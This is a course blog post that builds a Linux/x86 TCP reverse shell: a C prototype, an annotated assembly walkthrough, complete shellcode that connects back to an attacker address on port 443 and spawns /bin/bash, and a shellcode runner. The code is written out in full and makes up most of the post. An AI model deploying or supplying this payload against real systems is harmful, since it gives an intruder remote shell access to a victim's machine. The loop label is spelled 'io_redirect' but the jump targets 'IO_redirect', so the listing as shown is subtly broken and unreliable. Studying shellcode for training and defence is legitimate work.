SLAE32 - TCP reverse shell shellcode
Introduction
If you are reading this blog you probably know what a reverse shell is, but if you don’t, a reverse shell is a connection to a specified IP address and port to an attacker-controlled host, which will have an active listener on that port. After the connection is established, the victim machine will also spawn a shell (e.g. /bin/sh
) with stdin, stdout and stderr redirected to the connection socket.
The main advantage of using a reverse shell instead of a bind one, is that the connection is made in the opposite direction (from the victim to the attacker), which may help in case there’s a firewall that blocks incoming connections but allows outgoing ones.
Prototype
Creating a prototype in C
In order to gain a better understanding of the syscalls that needs to be invoked for the reverse shell, we can start by writing a simple program in C.
As outlined above, the operations that the reverse shell needs to perform are the following:
- Create a socket
- Connect back to a specific IP address and port on the attacker machine
- Redirect stdin, stdout and stderror buffers to the socket
- Spawn a shell (i.e.
/bin/bash
)
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
int main() {
int sock_fd;
int status_code;
// 1. Create TCP socket
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(443);
addr.sin_addr.s_addr = inet_addr("192.168.56.101");
sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sock_fd == -1) {
fprintf(stderr, "[!] Error. Cannot create the socket\n");
exit(EXIT_FAILURE);
}
// 2. Connect to socket on attacker host
status_code = connect(sock_fd, (struct sockaddr *) &addr, sizeof(addr));
if (status_code == -1) {
fprintf(stderr, "[!] Error. Cannot connect to socket on target host\n");
exit(EXIT_FAILURE);
}
// 3. Redirect stdin(0), stdout(1), stderr(2) to socket file descriptor (fd)
dup2(sock_fd, 0);
dup2(sock_fd, 1);
dup2(sock_fd, 2);
// 4. Exec bash shell
execve("/bin/bash", NULL, NULL);
}
Compiling and testing the prototype
The C prototype can be compiled using gcc:
$ gcc -w -O2 -o shell_reverse_tcp shell_reverse_tcp.c
To test that the compiled binary is working, we start a listener on the attacker machine, and then run the reverse shell executable to connect to the listener.
Linux/x86 shellcode
Shellcode analysis
This time we won’t be explaining how the socketcall syscall works, as we already described it with more detail in the previous post .
Clean registers
The first thing that needs to be done is clearing the registers. In order to avoid null bytes, we can use the xor
instruction and XOR each register with itself.
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
Create sockaddr_in struct
Using man 7 ip
command, we can check out the sockaddr_in
and in_addr
structs definitions.
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
struct in_addr {
uint32_t s_addr; /* address in network byte order */
};
Then we need to create the sockaddr_in
struct on the stack. Since the sockaddr_in
struct needs to be 16 bytes in total, we first need to push 8 bytes of padding, followed by:
- the IPv4 address of the remote host (usually the attacker machine) in network byte order
- the TCP port in network byte order
- the address family (
AF_INET
for IPv4)
push eax ; NULL (4 bytes of padding)
push eax ; NULL (4 bytes of padding)
push 0x6538a8c0 ; s_addr = 192.168.56.101 (network byte order)
push word 0xbb01 ; port 443 (network byte order)
push word 0x02 ; AF_INET for IPv4 socket (from /usr/include/bits/socket.h)
mov esi, esp ; store reference to sockaddr_in struct in ESI for later use
Create socket
int socketcall(int call, unsigned long *args);
sock_fd = socket(int socket_family, int socket_type, int protocol);
Once the sockaddr_in
struct has been pushed on the stack, we can proceed with creating the socket, using the SYS_SOCKET
(code 0x01
in EBX
) call via the sys_socketcall
system call (code 0x66
in EAX
). We can then push all the values needed to create the socket on the stack in reverse order, and move the address of the top of the stack to ECX
.
mov al, 0x66 ; sys_socketcall
mov bl, 0x1 ; SYS_SOCKET call
push edx ; 3rd arg: int protocol = IPPROTO_IP = 0
push 0x01 ; 2nd arg: int type = SOCK_STREAM (from /usr/include/bits/socket_type.h)
push 0x02 ; 1st arg: int domain = AF_INET
mov ecx, esp ; pointer to args on stack
int 0x80
mov edi, eax ; store socket file descriptor (int sock_fd) in edi
The syscall returns the socket file descriptor in EAX
. We can store a copy of it into EDI
so that we can use it later.
Reverse connection
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Next we can connect back to the IP address and port previously defined with the sockaddr_in
struct, via a SYS_CONNECT
call.
mov al, 0x66 ; sys_socketcall
mov bl, 0x3 ; SYS_CONNECT call
push 0x10 ; 3rd arg: socklen_t addrlen = 16
push esi ; 2nd arg: sockaddr struct = pointer to sockaddr_in struct
push edi ; 1st arg = pointer socket file descriptor (int sock_fd)
mov ecx, esp ; pointer to args on stack
int 0x80
Redirect buffers
int dup2(int oldfd, int newfd);
Using a loop, we can redirect stdin
,stdout
and stderr
buffers to the connection file descriptor, we previously moved into EDX
, via the sys_dup2
system call (code 0x3f
in EAX
), which expects stdin
,stdout
, and stderr
file descriptors in ECX
, and the connection file descriptor (int conn_fd
) in EBX
.
xor ecx, ecx ; ecx used as counter and file descriptor number (0,1,2)
mov cl, 0x02
mov ebx, edi ; 1st arg in EBX = connection file descriptor (int sock_fd)
io_redirect:
mov al, 0x3f ; sys_dup2 call
int 0x80
dec ecx
jns IO_redirect ; keep looping while ecx >= 0
Spawn shell
int execve(const char *filename, char *const argv[], char *const envp[]);
Finally, after redirecting the I/O we can push to the stack the arguments for the execve
system call (0xb
code in EAX
), and spawn a shell on the victim machine.
First we need to push the /bin/bash
string in reverse, terminated by a random character (A
in this case), so that we can use ESP
to reference it and replace the A
with a null, using AL
. This way we don’t introduce any null bytes in the shellcode. With the null terminated string on the stack, we can move a reference to it (top of the stack, ESP
) to EBX
. Next, we just increment ECX
(from -1 to 0), so that both ECX
(argv[]
) and EDX
(envp[]
) are null.
push 0x41687361 ; 'Ahsa'
push 0x622f6e69 ; 'b/ni'
push 0x622f2f2f ; 'b///'
xor eax, eax
mov [esp+11], al ; replace "A" with null so that the string is null-terminated
mov ebx, esp ; 1st arg (EBX): pointer to "/bin/bash,0x00" string on stack
inc ecx ; 2nd arg (ECX): char *const argv[] = NULL
; 3rd arg (EDX) char *const envp[] = NULL
mov al, 0xb ; sys_execve call
int 0x80
Final shellcode
Below is the complete shellcode for the reverse shell:
global _start
section .text
_start:
; reset registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; create addr struct
push eax ; NULL padding
push eax ; NULL padding
push 0x6538a8c0 ; s_addr = 192.168.56.101 (network byte order)
push word 0xbb01 ; port 443 (network byte order)
push word 0x02 ; AF_INET for IPv4 socket (from /usr/include/bits/socket.h)
mov esi, esp ; store reference to sockaddr_in struct in ESI for later use
; 1. create TCP socket
mov al, 0x66 ; sys_socketcall
mov bl, 0x1 ; SYS_SOCKET call
push edx ; 3rd arg: int protocol = IPPROTO_IP = 0
push 0x01 ; 2nd arg: int type = SOCK_STREAM (from /usr/include/bits/socket_type.h)
push 0x02 ; 1st arg: int domain = AF_INET
mov ecx, esp ; pointer to args on stack
int 0x80
mov edi, eax ; store socket file descriptor (int sock_fd) in EDI for later
; 2. connect to socket on target host
mov al, 0x66 ; sys_socketcall
mov bl, 0x3 ; SYS_CONNECT call
push 0x10 ; 3rd arg: socklen_t addrlen = 16
push esi ; 2nd arg: sockaddr struct = pointer to sockaddr_in struct
push edi ; 1st arg = pointer socket file descriptor (int sock_fd)
mov ecx, esp ; pointer to args on stack
int 0x80
; 3. redirect stdin,stdout,sterr to socket
xor ecx, ecx ; ecx used as counter and file descriptor number (0,1,2)
mov cl, 0x02
mov ebx, edi ; 1st arg in EBX = connection file descriptor (int sock_fd)
io_redirect:
mov al, 0x3f ; sys_dup2 call
int 0x80
dec ecx
jns IO_redirect ; keep looping while ecx >= 0
; 4. execve("/bin/bash")
push 0x41687361 ; 'Ahsa'
push 0x622f6e69 ; 'b/ni'
push 0x622f2f2f ; 'b///'
xor eax, eax
mov [esp+11], al ; replace "A" with null so that the string is null-terminated
mov ebx, esp ; 1st arg (EBX): pointer to "/bin/bash,0x00" string on stack
xor ecx, ecx ; 2nd arg (ECX): char *const argv[] = NULL
; 3rd arg (EDX) char *const envp[] = NULL
mov al, 0xb ; sys_execve call
int 0x80
Compiling and running the shellcode
Now we need to compile and link the assembly code using nasm
and ld
. Next we can extract the opcodes using objdump
(plus some bash fu), and add them to the following shellcode runner template.
#include <stdio.h>
const unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x50\x68\ [...]";
int main() {
int (*ret)() = (int(*)())code;
printf("Shellcode length: %d bytes\n", sizeof(code));
ret();
}
To avoid having to type the commands each time, we can automate the process with a bash script, and run the compiled executable afterwards:
Wrapping Up
That’s it for this post. In the next one we’ll create an egghunter and use that to bypass limitations on the size of the shellcode.
As always, if you want to check out the code used to complete this assignmnet, you can refer to the following repository in my Github.
Thank you for reading!